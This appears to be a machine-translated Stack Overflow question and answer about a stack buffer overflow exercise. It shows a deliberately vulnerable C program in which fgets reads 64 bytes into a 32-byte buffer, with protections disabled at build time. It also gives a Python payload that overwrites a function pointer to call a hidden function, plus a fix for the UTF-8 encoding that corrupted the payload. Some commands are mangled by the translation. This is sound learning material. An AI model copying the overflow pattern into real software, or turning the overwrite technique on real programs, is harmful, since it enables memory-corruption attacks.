缓冲区溢出-插入了意外的值

时间:2019-01-28 19:28:46

标签: python c assembly x86 buffer-overflow

我正在尝试使用缓冲区溢出来覆盖两个局部变量,以便可以调用隐藏函数。这是C代码。

#include <stdio.h>
#include <stdlib.h>

static void hidden_function(void)
{
    puts("I laugh in the face of danger. Ha ha ha ha!");
}

static void visible_function(void)
{
    puts("Knock, knock! Who's there? Recursion. Recursion who? Knock, knock!");
}

static void helper_function(void)
{
    void (*f_ptr)(void) = visible_function;
    unsigned int dumb_number = 0x12345678;
    char buffer[32];

    printf("Provide buffer input: ");
    fgets(buffer, 64, stdin);

    printf("Dumb number value is 0x%08x.\n", dumb_number);
    printf("Buffer is %s\n", buffer);

    f_ptr();
}

int main(void)
{
    helper_function();

    return 0;
}

这是我使用的Makefile。

CC = gcc
CFLAGS = -m32 -Wall -Wextra -Wno-unused-function -g -O0 -fno-stack-protector -no-pie
LDFLAGS = -m32

.PHONY: all clean

all: overflow_ptr

overflow_ptr: overflow_ptr.o
    $(CC) $(CFLAGS) -o $@ $<

overflow_ptr.o: overflow_ptr.c

clean:
    -rm -f overflow_ptr.o overflow_ptr
    -rm -f *~

运行nm溢出_ptr告诉我隐藏函数的地址如下:

080484a6 t hidden_function

因此,我创建了以下有效负载:

python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")'

这应该使dump_number = 0x87654321和f_ptr = 0x080484a6。但是,当我运行此程序时,输出为:

Provide buffer input: Dumb number value is 0xc2654321.

这让我想知道为什么插入了c2?我认为这是一种保护措施。如果是这样,有什么办法可以防止呢? 我在Ubuntu上使用64位虚拟机。

1 个答案:

答案 0 :(得分:1)

您的Python可能默认为UTF-8输入/输出编码,而不是ISO-8859-1。您可以通过设置环境变量PYTHONIOENCODING

覆盖默认的Python IO编码

您可以使用以下命令运行overflow_ptr

  

echo $(PYTHONIOENCODING =“ ISO-8859-1” python3 -c'print(32 *“ A” +“ \ x21 \ x43 \ x65 \ x87” +“ \ xa6 \ x84 \ x04 \ x08”)'' )| ./overflow_ptr

输出应为:

Provide buffer input: Dumb number value is 0x87654321.
Buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!Ce���
I laugh in the face of danger. Ha ha ha ha!

我怀疑您的系统上是否要运行以下命令:

  

python3 -c'打印(32 *“ A” +“ \ x21 \ x43 \ x65 \ x87” +“ \ xa6 \ x84 \ x04 \ x08”)'| od -tx1 -v

输出将类似于:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 c2 87 c2 a6 c2 84 04 08 0a

您可能期望的输出是:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 87 a6 84 04 08 0a

您会注意到,在第一个输出中,所有> = 0x80的值都转换为多个字节,每个字节均以0xc2开头。字符转换是将意外的c2引入您的哑数值的原因。


注意:

  • 如果希望避免Python在末尾添加额外的0x0a,则可以通过以下方法告诉print函数消除它:

      

    print(32 *“ A” +“ \ x21 \ x43 \ x65 \ x87” +“ \ xa6 \ x84 \ x04 \ x08”,end =“”)

    通过将end=""指定为print的参数,可以消除终止的0x0a(换行符)。